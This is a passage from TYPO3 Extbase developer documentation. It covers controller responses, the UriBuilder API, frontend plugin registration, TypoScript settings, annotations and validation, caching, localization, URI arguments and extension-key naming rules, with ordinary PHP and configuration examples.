     * Output <h1>Hello World!</h1>
     */
    public function helloWorldAction(): ResponseInterface
    {
        return $this->htmlResponse('<h1>Hello World!</h1>');
    }
}
Copied!

JSON response

Similar to the method $this->htmlResponse() there is a method $this->jsonResponse(). In case you are using it you have to make sure the view renders valid JSON.

Rendering JSON by Fluid is in most cases not a good option. Fluid uses special signs that are needed in JSON etc. So in most cases the jsonResponse() is used to directly output a json string:

EXT:blog_example/Classes/Controller/BlogController.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use Psr\Http\Message\ResponseInterface;

class BlogController extends AbstractController
{
    public function showBlogAjaxAction(Blog $blog): ResponseInterface
    {
        $jsonOutput = json_encode($blog);
        return $this->jsonResponse($jsonOutput);
    }
}
Copied!

It is also possible to use the JSON response together with a special view class the JsonView ( \TYPO3\CMS\Extbase\Mvc\View\JsonView ).

Response in a different format

If you need any output format but HTML or JSON, build the response object using $responseFactory implementing the ResponseFactoryInterface:

EXT:blog_example/Classes/Controller/PostController.php
use Psr\Http\Message\ResponseInterface;

class PostController extends \FriendsOfTYPO3\BlogExample\Controller\AbstractController
{
    /**
     * Displays a list of posts as RSS feed
     */
    public function displayRssListAction(): ResponseInterface
    {
        $defaultBlog = $this->settings['defaultBlog'] ?? 0;
        if ($defaultBlog > 0) {
            $blog = $this->blogRepository->findByUid((int)$defaultBlog);
        } else {
            $blog = $this->blogRepository->findAll()->getFirst();
        }
        $this->view->assign('blog', $blog);
        return $this->responseFactory->createResponse()
            ->withHeader('Content-Type', 'text/xml; charset=utf-8')
            ->withBody($this->streamFactory->createStream($this->view->render()));
    }
}
Copied!

URI builder (Extbase)

The URI builder offers a convenient way to create links in an Extbase context.

Usage in an Extbase controller

The URI builder is available as a property in a controller class which extends the ActionController class.

Example:

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller\MyController;

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    public function myAction(): ResponseInterface
    {
        $url = $this->uriBuilder
            ->reset()
            ->setTargetPageUid(42)
            ->uriFor(
                'anotherAction',
                [
                    'myRecord' => 21,
                ],
                'MyController',
                'myextension',
                'myplugin'
            );

        // do something with $url
    }
}
Copied!

Have a look into the API for the available methods of the URI builder.

Usage in another context

The \TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder class can be injected via constructor in a class:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder;

final class MyClass
{
    private UriBuilder $uriBuilder;

    public function __construct(UriBuilder $uriBuilder)
    {
        $this->uriBuilder = $uriBuilder;
    }

    public function doSomething()
    {
        $url = $this->uriBuilder
            ->reset()
            ->setTargetPageUid(42)
            ->uriFor(
                'myAction',
                [
                    'myRecord' => 21,
                ],
                'MyController',
                'myextension',
                'myplugin'
            );

        // do something with $url
    }
}
Copied!

API

class UriBuilder
Fully qualified name
\TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

An URI Builder

setArguments ( array $arguments)

Additional query parameters.

If you want to "prefix" arguments, you can pass in multidimensional arrays: array('prefix1' => array('foo' => 'bar')) gets "&prefix1[foo]=bar"

param array $arguments

the arguments

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setSection ( string $section)

If specified, adds a given HTML anchor to the URI (#...)

param string $section

the section

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setFormat ( string $format)

Specifies the format of the target (e.g. "html" or "xml")

param string $format

the format

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setCreateAbsoluteUri ( bool $createAbsoluteUri)

If set, the URI is prepended with the current base URI. Defaults to FALSE.

param bool $createAbsoluteUri

the createAbsoluteUri

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setAbsoluteUriScheme ( string $absoluteUriScheme)

Sets the scheme that should be used for absolute URIs in FE mode

param string $absoluteUriScheme

the scheme to be used for absolute URIs

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setLanguage ( string $language)

Enforces a URI / link to a page to a specific language (or use "current")

param string $language

the language

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

getLanguage ( )
returntype

string

setAddQueryString ( bool $addQueryString)

If set, the current query parameters will be merged with $this->arguments. Defaults to FALSE.

param bool $addQueryString

the addQueryString

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setArgumentsToBeExcludedFromQueryString ( array $argumentsToBeExcludedFromQueryString)

A list of arguments to be excluded from the query parameters Only active if addQueryString is set

param array $argumentsToBeExcludedFromQueryString

the argumentsToBeExcludedFromQueryString

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setArgumentPrefix ( string $argumentPrefix)

Specifies the prefix to be used for all arguments.

param string $argumentPrefix

the argumentPrefix

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setLinkAccessRestrictedPages ( bool $linkAccessRestrictedPages)

If set, URIs for pages without access permissions will be created

param bool $linkAccessRestrictedPages

the linkAccessRestrictedPages

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setTargetPageUid ( int $targetPageUid)

Uid of the target page

param int $targetPageUid

the targetPageUid

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setTargetPageType ( int $targetPageType)

Sets the page type of the target URI. Defaults to 0

param int $targetPageType

the targetPageType

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

setNoCache ( bool $noCache)

by default FALSE; if TRUE, &no_cache=1 will be appended to the URI

param bool $noCache

the noCache

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

reset ( )

Resets all UriBuilder options to their default value

returntype

TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

Returns

the current UriBuilder to allow method chaining

uriFor ( string $actionName = NULL, array $controllerArguments = NULL, string $controllerName = NULL, string $extensionName = NULL, string $pluginName = NULL)

Creates an URI used for linking to an Extbase action.

Works in Frontend and Backend mode of TYPO3.

param string $actionName

Name of the action to be called, default: NULL

param array $controllerArguments

Additional query parameters. Will be "namespaced" and merged with $this->arguments., default: NULL

param string $controllerName

Name of the target controller. If not set, current ControllerName is used., default: NULL

param string $extensionName

Name of the target extension, without underscores. If not set, current ExtensionName is used., default: NULL

param string $pluginName

Name of the target plugin. If not set, current PluginName is used., default: NULL

returntype

string

Returns

the rendered URI

build ( )

Builds the URI Depending on the current context this calls buildBackendUri() or buildFrontendUri()

returntype

string

Returns

The URI

Registration of frontend plugins

When you want to use Extbase controllers in the frontend you need to define a so called frontend plugin. Extbase allows to define multiple frontend plugins for different use cases within one extension.

A frontend plugin can be defined as content element or as pure TypoScript frontend plugin.

Content element plugins can be added by editors to pages in the Page module while TypoScript frontend plugin can only be added via TypoScript or Fluid in a predefined position of the page. All content element plugins can also be used as TypoScript plugin.

Frontend plugin as content element

The plugins in the New Content Element wizard

Use the following steps to add the plugin as content element:

  1. configurePlugin(): Make the plugin available in the frontend

    EXT:blog_example/ext_localconf.php
    <?php
    defined('TYPO3') or die();
    
    use TYPO3\CMS\Extbase\Utility\ExtensionUtility;
    use FriendsOfTYPO3\BlogExample\Controller\PostController;
    use FriendsOfTYPO3\BlogExample\Controller\CommentController;
    
    ExtensionUtility::configurePlugin(
       'BlogExample',
       'PostSingle',
       [PostController::class => 'show', CommentController::class => 'create'],
       [CommentController::class => 'create']
    );
    Copied!

    Use the following parameters:

    1. Extension key 'blog_example' or name BlogExample.
    2. A unique identifier for your plugin in UpperCamelCase: 'PostSingle'
    3. An array of allowed combinations of controllers and actions stored in an array
    4. (Optional) an array of controller name and action names which should not be cached

    TYPO3\CMS\Extbase\Utility\ExtensionUtility::configurePlugin() generates the necessary TypoScript to display the plugin in the frontend.

    In the above example the actions show in the PostController and create in the CommentController are allowed. The later action should not be cached. This action can show different output depending on whether a comment was just added, there was an error in the input etc. Therefore the output of the action create of the CommentController should not be cached.

    The action delete of the CommentController is not listed. This action is therefore not allowed in this plugin.

    The TypoScript of the plugin will be available at tt_content.list.20.blogexample_postsingle. Additionally the lists of allowed and non-cacheable actions have been added to the according global variables.

  2. registerPlugin(): Add to list_type tt_content.

    Make the plugin available in the field Plugin > Selected Plugin, list_type of the table tt_content.

    The new plugin in the content record at Plugin > Selected Plugin

    EXT:blog_example/Configuration/TCA/Overrides/tt_content.php
    <?php
    declare(strict_types=1);
    
    use TYPO3\CMS\Extbase\Utility\ExtensionUtility;
    
    defined('TYPO3') or die();
    
    ExtensionUtility::registerPlugin(
        'blog_example',
        'PostSingle',
        'Single Post (BlogExample)'
    );
    Copied!

    Use the following parameters:

    1. Extension key 'blog_example' or name BlogExample.
    2. A unique identifier for your plugin in UpperCamelCase: 'PostSingle', must be the same as used in configurePlugin() or the plugin will not render.
    3. Plugin title in the backend: Can be a string or a localized string starting with LLL:.
    4. (Optional) the icon identifier or file path prepended with "EXT:"
  3. (Optional) Add to the New Content Element wizard

    Add the following page TSconfig to add the new plugin to the wizard:

    EXT:blog_example/Configuration/page.tsconfig
    mod.wizards.newContentElement.wizardItems {
      // add the content elementS to the tab "plugins"
      plugins {
        elements {
          // ...
          blogexample_postsingle {
            iconIdentifier = blog_example_icon
            title = PostSingle
            description = Display a single blog post
            tt_content_defValues {
              CType = list
              list_type = blogexample_postsingle
            }
          }
        }
        show := addToList(blogexample_postlist,blogexample_postsingle,blogexample_blogadmin)
      }
    }
    Copied!
    • Line 6: The plugin signature: The extension name in lowercase without underscores, followed by one underscore, followed by the plugin identifier in lowercase without underscores.
    • Line 7: Should be the same icon like used in registerPlugin() for consistency
    • Line 8: Should be the same title like used in registerPlugin() for consistency
    • Line 9: Additional description: Can be a string or a localized string starting with LLL:.
    • Line 12: The plugin signature as list_type
    • Line 16: Add the plugin signature as to the list of allowed content elements

    In TYPO3 11 you still need to include the page TSconfig file, in TYPO3 12 it is automatically globally included.

    See Setting the Page TSconfig globally.

Frontend plugin as pure TypoScript

  1. configurePlugin(): Make the plugin available in the frontend

    Configure the plugin just like described in Frontend plugin as content element. This will create the basic TypoScript and the lists of allowed controller-action combinations.

    In this example we define a plugin displaying a list of posts as RSS-feed:

    EXT:blog_example/ext_localconf.php
    use TYPO3\CMS\Extbase\Utility\ExtensionUtility;
    use FriendsOfTYPO3\BlogExample\Controller\PostController;
    
    // RSS Feed
    ExtensionUtility::configurePlugin(
       'blog_post',
       'PostListRss',
       [PostController::class => 'displayRssList']
    );
    Copied!
  2. Display the plugin via Typoscript

    The TypoScript USER object saved at tt_content.list.20.blogexample_postlistrss can now be used to display the frontend plugin. In this example we create a special page type for the RSS feed and display the plugin via typoscript there:

    EXT:blog_example/Configuration/TypoScript/RssFeed/setup.typoscript
    # RSS rendering
    tx_blogexample_rss = PAGE
    tx_blogexample_rss {
      typeNum = {$plugin.tx_blogexample.settings.rssPageType}
      10 < tt_content.list.20.blogexample_postlistrss
    
      config {
        disableAllHeaderCode = 1
        xhtml_cleaning = none
        admPanel = 0
        debug = 0
        disablePrefixComment = 1
        metaCharset = utf-8
        additionalHeaders.10.header = Content-Type:application/rss+xml;charset=utf-8
        linkVars >
      }
    }
    Copied!

TypoScript configuration

Each Extbase extension has some settings which can be modified using TypoScript. Many of these settings affect aspects of the internal configuration of Extbase and Fluid. There is also a block settings in which you can set extension specific settings that can be accessed in the controllers and templates of your extension.

All TypoScript settings are made in the following TypoScript blocks:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_[lowercasedextensionname]
Copied!

The TypoScript configuration of the extension is always located below this TypoScript path. The "lowercase extension name" is the extension key with no underscore (_), as for example in blogexample. The configuration is divided into the following sections:

Features

Activate features for Extbase or a specific plugin.

features.skipDefaultArguments
Skip default arguments in URLs. If a link to the default controller or action is created, the parameters are omitted. Default is false.
features.ignoreAllEnableFieldsInBe
Ignore the enable fields in backend. Default is false.

Persistence

Settings, relevant to the persistence layer of Extbase.

persistence.enableAutomaticCacheClearing
Enables the automatic cache clearing when changing data sets. Default is true.
persistence.storagePid
List of Page-IDs, from which all records are read.

Settings

Here reside are all the domain-specific extension settings. These settings are available in the controllers as the array variable $this->settings and in any Fluid template with {settings}.

View

View and template settings.

view.layoutRootPaths
This can be used to specify the root paths for all Fluid layouts in this extension. If nothing is specified, the path extensionName/Resources/Private/Layouts is used. All layouts that are necessary for this extension should reside in this folder.
view.partialRootPaths
This can be used to specify the root paths for all Fluid partials in this extension. If nothing is specified, the path extensionName/Resources/Private/Partials is used. All partials that are necessary for this extension should reside in this folder.
view.templateRootPaths
This can be used to specify the root paths for all Fluid templates in this extension. If nothing is specified, the path extensionName/Resources/Private/Templates is used. All templates that are necessary for this extension should reside in this folder.
view.pluginNamespace
This can be used to specify an alternative namespace for the plugin. Use this to shorten the Extbase default plugin namespace or to access arguments from other extensions by setting this option to their namespace. .. todo: This is not understandable without an example. This option might be deprecated and dropped.
view.defaultPid
This can be used to specify a default target page ID. If this value is set, this value will be used as target page ID. If defaultPid is set to auto, a pid is determined by loading the tt_content record that contains this plugin. An error will be thrown if more than one record matches the list_type.

All root paths are defined as an array which enables you to define multiple root paths that will be used by Extbase to find the desired template files.

An example best describes the feature. Imagine you installed the extension news, which provides several plugins for rendering news in the frontend.

The default template directory of that extension is the following: EXT:my_extension/Resources/Private/Templates/.

Let's assume you want to change the plugin's output because you need to use different CSS classes, for example. You can simply create your own extension and add the following TypoScript setup:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_news {
    view {
        templateRootPaths.10 = EXT:my_extension/Resources/Private/Templates/
    }
}
Copied!

As all TypoScript will be merged, the following configuration will be compiled:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_news {
    view {
        templateRootPaths {
            0 = EXT:news/Resources/Private/Templates/
            10 = EXT:my_extension/Resources/Private/Templates/
        }
        ...
    }
}
Copied!

Imagine there is a news plugin that lists news entries. In that case, the listAction method of the NewsController will be called. By convention, Extbase will look for an html file called List.html in a folder News in all of the configured template root paths.

If there is just one root path configured, that is the one being chosen right away. Once there are more paths defined, Extbase will check them in reverse order, i.e., from the highest key to lowest. Following our example, Extbase will check the given path with key 10 first, and if no template file is found, it will proceed with 0.

More information on root paths can be found in the TypoScript reference: Properties

MVC

These are useful MVC settings about error handling:

mvc.callDefaultActionIfActionCantBeResolved
Will cause the controller to show its default action , e.g., if the called action is not allowed by the controller.
mvc.throwPageNotFoundExceptionIfActionCantBeResolved
Same as mvc.callDefaultActionIfActionCantBeResolved but this will raise a "page not found" error.

_LOCAL_LANG

Under this key, you can modify localized strings for this extension. If you specify, for example, plugin.tx_blogexample._LOCAL_LANG.default.read_more = More>> then the standard translation for the key read_more is overwritten by the string More>>.

Format

The output of Extbase plugins can be provided in different formats, e.g., HTML, CSV, JSON, …. The required format can be requested via the request parameter. The default format, if nothing is requested, can be set via TypoScript. This can be combined with conditions.

format
Defines the default format for the plugin.

Annotations

All available annotations for Extbase delivered by TYPO3 Core are placed within the namespace \TYPO3\CMS\Extbase\Annotation.

Example in the blog example for the annotation Lazy:

EXT:blog_example/Classes/Domain/Model/Post.php
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Post extends AbstractEntity
{
    /**
     * @var ObjectStorage<Post>
     * @Lazy
     */
    public ObjectStorage $relatedPosts;
}
Copied!

Annotations provided by Extbase

The following annotations are provided Extbase:

Validate

@TYPO3\CMS\Extbase\Annotation\Validate: Allows to configure validators for properties and method arguments. See Validation for details.

Can be used in the context of a model property.

Example:

EXT:blog_example/Classes/Domain/Model/Blog.php
use TYPO3\CMS\Extbase\Annotation\Validate;

class Blog extends AbstractEntity
{
    /**
     * A short description of the blog
     *
     * @Validate("StringLength", options={"maximum": 150})
     */
    public string $description = '';
}
Copied!

IgnoreValidation

@TYPO3\CMS\Extbase\Annotation\IgnoreValidation(): Allows to ignore Extbase default validation for a given argument.

Used in context of a controller action.

Example:

EXT:blog_example/Classes/Controller/BlogController.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Annotation\IgnoreValidation;

class BlogController extends AbstractController
{
    /**
     * Displays a form for creating a new blog
     *
     * @IgnoreValidation("newBlog")
     */
    public function newAction(?Blog $newBlog = null): ResponseInterface
    {
        $this->view->assign('newBlog', $newBlog);
        $this->view->assign(
            'administrators',
            $this->administratorRepository->findAll()
        );
        return $this->htmlResponse();
    }
}
Copied!

ORM (object relational model) annotations

The following annotations can only be used on model properties:

Cascade

@TYPO3\CMS\Extbase\Annotation\ORM\Cascade("remove"): Allows to remove child entities during deletion of aggregate root.

Extbase only supports the option "remove".

Example:

EXT:blog_example/Classes/Domain/Model/Blog.php
use TYPO3\CMS\Extbase\Annotation\ORM\Cascade;
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    /**
     * The posts of this blog
     *
     * @var ObjectStorage<Post>
     * @Lazy
     * @Cascade("remove")
     */
    public $posts;
}
Copied!

Transient

@TYPO3\CMS\Extbase\Annotation\ORM\Transient: Marks property as transient (not persisted).

Example:

EXT:blog_example/Classes/Domain/Model/Person.php
use TYPO3\CMS\Extbase\Annotation\ORM\Transient;

class Person extends AbstractEntity
{
    /**
     * @Transient
     */
    protected string $fullname = '';
}
Copied!

Lazy

@TYPO3\CMS\Extbase\Annotation\ORM\Lazy: Marks property to be lazily loaded on first access.

Example:

EXT:blog_example/Classes/Domain/Model/Post.php
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Post extends AbstractEntity
{
    /**
     * @var ObjectStorage<Post>
     * @Lazy
     */
    public ObjectStorage $relatedPosts;
}
Copied!

Combining annotations

Annotations can be combined. For example, "lazy loading" and "removal on cascade" are frequently combined:

EXT:blog_example/Classes/Domain/Model/Post.php
use TYPO3\CMS\Extbase\Annotation\ORM\Cascade;
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Post extends AbstractEntity
{
    /**
     * @var ObjectStorage<Comment>
     * @Lazy
     * @Cascade("remove")
     */
    public ObjectStorage $comments;
}
Copied!

Several validations can also be combined. See Validation for details.

Validation

Extbase provides a number of validators for standard use cases such as e-mail addresses, string length, not empty etc.

Changed in version 10.0

Before TYPO3 v10 Validators where automatically applied by naming conventions. This feature was removed without replacement.

All validators need to be explicitly applied by the annotation Validate to either a controller action or a property / setter in a model.

It is also possible to write custom validators for properties or complete models. See chapter Custom validators for more information.

Why is validation needed?

People often assume that domain objects are consistent and adhere to some rules at all times.

Unfortunately, this is not achieved automatically. So it is important to define such rules explicitly.

In the blog example for the model Person the following rules can be defined

  • First name and last name should each have no more then 80 chars.
  • A last name should have at least 2 chars.
  • The parameter email has to contain a valid email address.

These rules are called invariants, because they must be valid during the entire lifetime of the object.

At the beginning of your project, it is important to consider which invariants your domain objects will consist of.

When does validation take place?

Domain objects in Extbase are validated only at one point in time: When they are used as parameter in a controller action.

When a user sends a request, Extbase first determines which action within the controller is responsible for this request.

Extbase then maps the arguments so that they fit types as defined in the actions method signature.

If there are validators defined for the action these are applied before the actual action method is called.

When the validation fails the method errorAction() of the current controller is called.

Validation of model properties

You can define simple validation rules in the domain model by the annotation Validate.

Example:

EXT:blog_example/Classes/Domain/Model/Blog.php
use TYPO3\CMS\Extbase\Annotation\Validate;

class Blog extends AbstractEntity
{
    /**
     * A short description of the blog
     *
     * @Validate("StringLength", options={"maximum": 150})
     */
    public string $description = '';
}
Copied!

In this code section the validator StringLength provided by Extbase in class \TYPO3\CMS\Extbase\Validation\Validator\StringLengthValidator is applied with one argument.

Validation of controller arguments

The following rules validate each controller argument:

  • If the argument is a domain object, the annotations @TYPO3\CMS\Extbase\Annotation\Validate in the domain object are taken into account.
  • If there is set an annotation @TYPO3\CMS\Extbase\Annotation\IgnoreValidation for the argument, no validation is done.
  • Validators added in the annotation of the action are applied.

If the arguments of an action are invalid, the errorAction is executed. By default a HTTP response with status 400 is returned. If possible the user is forwarded to the previous action. This behaviour can be overridden in the controller.

Annotations with arguments

Annotations can be called with zero, one or more arguments. See the following examples:

EXT:blog_example/Classes/Domain/Model/Person.php
use TYPO3\CMS\Extbase\Annotation\Validate;

class Person extends AbstractEntity
{
    /**
     * @Validate("EmailAddress")
     */
    protected string $email = '';

    /**
     * @Validate("StringLength", options={"maximum": 80})
     */
    protected string $firstname = '';

    /**
     * @Validate("StringLength", options={"minimum": 2, "maximum": 80})
     */
    protected string $lastname = '';
}
Copied!

Available validators shipped with Extbase can be found within EXT:extbase/Classes/Validation/Validator/.

Manually call a validator

It is possible to call a validator in your own code with the method \TYPO3\CMS\Extbase\Validation\ValidatorResolver::createValidator().

However please note that the class ValidatorResolver is marked as @internal and it is therefore not advisable to use it.

Caching

Extbase clears the TYPO3 cache automatically for update processes. This is called Automatic cache clearing. This functionality is activated by default. If a domain object is inserted, changed, or deleted, then the cache of the corresponding page in which the object is located is cleared. Additionally the setting of TSConfig TCEMAIN.clearCacheCmd is evaluated for this page.

The frontend plugin is on the page Blog with uid=11. As a storage folder for all the Blogs and Posts the SysFolder BLOGS is configured. If an entry is changed, the cache of the SysFolder BLOGS is emptied and also the TSConfig configuration TCEMAIN.clearCacheCmd for the SysFolder is evaluated. This contains a comma-separated list of Page IDs, for which the cache should be emptied. In this case, when updating a record in the SysFolder BLOGS (e.g., Blogs, Posts, Comments), the cache of the page Blog, with uid=11, is cleared automatically, so the changes are immediately visible.

Even if the user enters incorrect data in a form (and this form will be displayed again), the cache of the current page is deleted to force a new representation of the form.

The automatic cache clearing is enabled by default, you can use the TypoScript configuration persistence.enableAutomaticCacheClearing to disable it.

Localization

Multilingual websites are widespread nowadays, which means that the web-available texts have to be localized. Extbase provides the helper class \TYPO3\CMS\Extbase\Utility\LocalizationUtility for the translation of the labels. Besides, there is the Fluid ViewHelper <f:translate>, with the help of whom you can use that functionality in templates.

The localization class has only one public static method called translate, which does all the translation. The method can be called like this:

EXT:my_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

$someString = LocalizationUtility::translate($key, $extensionName, $arguments);
Copied!
$key
The identifier to be translated. If the format LLL:path:key is given, then this identifier is used, and the parameter $extensionName is ignored. Otherwise, the file Resources/Private/Language/locallang.xlf from the given extension is loaded, and the resulting text for the given key in the current language returned.
$extensionName
The extension name. It can be fetched from the request.
$arguments

It allows you to specify an array of arguments. In the LocalizationUtility, these arguments will be passed to the function vsprintf. So you can insert dynamic values in every translation. You can find the possible wildcard specifiers under https://www.php.net/manual/function.sprintf.php#refsect1-function.sprintf-parameters.

Example language file with inserted wildcards

EXT:my_extension/Resources/Private/Language/locallang.xlf
<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.0" xmlns="urn:oasis:names:tc:xliff:document:1.1">
   <file source-language="en" datatype="plaintext" original="messages" date="..." product-name="...">
      <header/>
      <body>
         <trans-unit id="count_posts">
            <source>You have %d posts with %d comments written.</source>
         </trans-unit>
         <trans-unit id="greeting">
            <source>Hello %s!</source>
         </trans-unit>
      </body>
   </file>
</xliff>
Copied!

Called translations with arguments to fill data in wildcards

EXT:my_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

$someString = LocalizationUtility::translate('count_posts', 'BlogExample', [$countPosts, $countComments])

$anotherString = LocalizationUtility::translate('greeting', 'BlogExample', [$userName])
Copied!

URI arguments and reserved keywords

Extbase uses special URI arguments to pass variables to Controller arguments and the framework itself.

Extbase uses a prefixed URI argument scheme that relies on plugin configuration.

For example, the example extension EXT:blog_example would use:

// Linebreaks just for readability.
https://example.org/blog/?tx_blogexample_bloglist[action]=show
&tx_blogexample_bloglist[controller]=Post
&tx_blogexample_bloglist[post]=4711
&cHash=...

// Actually, the [] parameters are often URI encoded, so this is emitted:
https://example.org/blog/?tx_blogexample_bloglist%5Baction%5D=show
&tx_blogexample_bloglist%5Bcontroller%5D=Post
&tx_blogexample_bloglist%5Bpost%5D=4711
&cHash=...
Copied!

as the created URI to execute the showAction of the Controller PostController within the plugin BlogList.

The following arguments are evaluated:

tx_(extensionName)_(pluginName)[action]:
Controller action to execute
tx_(extensionName)_(pluginName)[controller]
Controller containing the action
tx_(extensionName)_(pluginName)[format]
Output format (usually html, can also be json or custom types)
cHash
the cHash always gets calculated to validate that the URI is allowed to be called. (see Caching variants - or: What is a "cache hash"?)

Any other argument will be passed along to the controller action and can be retrieved via $this->request->getArgument(). Usually this is auto-wired by the automatic parameter mapping of Extbase.

These URI arguments can also be used for the routing configuration, see Extbase plugin enhancer.

When submitting a HTML <form>, the same URI arguments will be part of a HTTP POST request, with some more special ones:

tx_(extensionName)_(pluginName)[__referrer]
An array with information of the referring call (subkeys: @extension, @controller, @action,

arguments (hashed), @request (json)

tx_(extensionName)_(pluginName)[__trustedProperties]
List of properties to be submitted to an action (hashed and secured)

These two keys are also regarded as reserved keywords. Generally, you should avoid custom arguments interfering with either the @... or __... prefix notation.

Extbase Examples

Example extensions

Tea example

The extension EXT:tea, is based on Extbase and Fluid. The extension features a range of best practices in relation to automated code checks, unit/functional/acceptance testing and continuous integration.

You can also use this extension to manage your collection of delicious teas.

Blog example

The extension EXT:blog_example contains working examples of all the features documented in the Extbase Reference manual.

This extension should not be used as a base for building your own extension or used to blog in a live environment.

If you want to set up a blog, take a look at the EXT:blog extension or combine EXT:news with a comment extension of your choice.

Real-world examples

Backend user module

In the TYPO3 Core, the system extension EXT:beuser has backend modules based on Extbase. It can therefore be used as a guide on how to develop backend modules with Extbase.

News

EXT:news implements a versatile news system based on Extbase & Fluid and uses the latest technologies provided by the Core.

Choosing an extension key

The "extension key" is a string that uniquely identifies the extension. The folder in which the extension is located is named by this string.

Rules for the Extension Key

The extension key must comply with the following rules:

  • It can contain characters a-z, 0-9 and underscore
  • No uppercase characters should be used (folder, file and table/field names remain in lowercase).
  • Furthermore the key must not start with any of these (these are prefixes used for modules):

    • tx
    • user_
    • pages
    • tt_
    • sys_
    • ts_language
    • csh_
  • The key may not start with a number. Also an underscore at the beginning or the end is not allowed.
  • The length must be between 3 and 30 characters (underscores not included).
  • The extension key must still be unique even if underscores are removed, since backend modules that refer to the extension should be named by the extension key without underscores. (Underscores are allowed to make the extension key easy to read).

The naming conventions of extension keys are automatically validated when they are registered in the repository, so you do not have to worry about this.

There are two ways to name an extension:

  • Project specific extensions (not generally usable or shareable): Select any name you like and prepend it "user_" (which is the only allowed use of a key starting with "u"). This prefix denotes that it is a local extension that does not originate from the central TYPO3 Extension Repository or is ever intended for sharing. Probably this is an "adhoc" extension you made for some special occasion.
  • General extensions: Register an extension name online at the TYPO3 Extension Repository. Your extension name will be validated automatically and you are sure to have a unique name will be returned which no one else in the world will use. This makes it very easy to share your extension later on with everyone else as it ensures that no conflicts will occur with other extensions. But by default, a new extension you make is defined as "private", which means no one else but you have access to it until you permit it to be public. It's free of charge to register an extension name. By definition, all code in the TYPO3 Extension Repository is covered by the GPL license because it interfaces with TYPO3. You should really consider making general extensions!

About GPL and extensions

Remember that TYPO3 is GPL software and at the same moment when you extend TYPO3, your extensions are legally covered by GPL. This does not force you to share your extension, but it should inspire you to do so and legally you cannot prevent anyone who gets hold of your extension code from using it and further develop it. The TYPO3 Extension API is designed to make sharing of your work easy as well as using others' work easy. Remember TYPO3 is Open Source Software and we rely on each other in the community to develop it further.

Security

You are responsible for security issues in your extensions. People may report security issues either directly to you or to the TYPO3 Security Team. In any case, you should get in touch with the Security Team which will validate the security fixes. They will also include information about your (fixed) extension in their next Security bulletin. If you don't respond to requests from the Security Team, your extension will be removed by force from the TYPO3 Extension Repository.

More details on the security team's policy on handling security issues can be found at https://typo3.org/teams/security/extension-security-policy/.

Registering an extension key

Before starting a new extension you should register an extension key on extensions.typo3.org (unless you plan to make an implementation-specific extension – of course – which does not make sense to share).

Go to extensions.typo3.org, log in with your (pre-created) username/password and navigate to My Extensions in the menu. Click on the Register extension key tab. On that page enter the extension key you want to register.

The extension key registration form

The extension key registration form

Naming conventions

The first thing you should decide on is the extension key for your extension and the vendor name. A significant part of the names below are based on the extension key.

Abbreviations & Glossary

UpperCamelCase
UpperCamelCase begins with a capital letter and begins all following subparts of a word with a capital letter. The rest of each word is in lowercase with no spaces, e.g. CoolShop.
lowerCamelCase
lowerCamelCase is the same as UpperCamelCase, but begins with a lowercase letter.
TER
The "TYPO3 Extension Repository": A catalogue of extensions where you can find information about extensions and where you can search and filter by TYPO3 version etc. Once registered on https://my.typo3.org, you can login and register an extension key for your extension in https://extensions.typo3.org My Extensions.
extkey
The extension key as is (e.g. 'my_extension').
extkeyprefix
The extension key with stripped away underscores (e.g. extkey='my_extension' becomes extkeyprefix='myextension').
ExtensionName

The term ExtensionName means the extension key in UpperCamelCase.

Example: for an extkey bootstrap_package the ExtensionName would be BootstrapPackage.

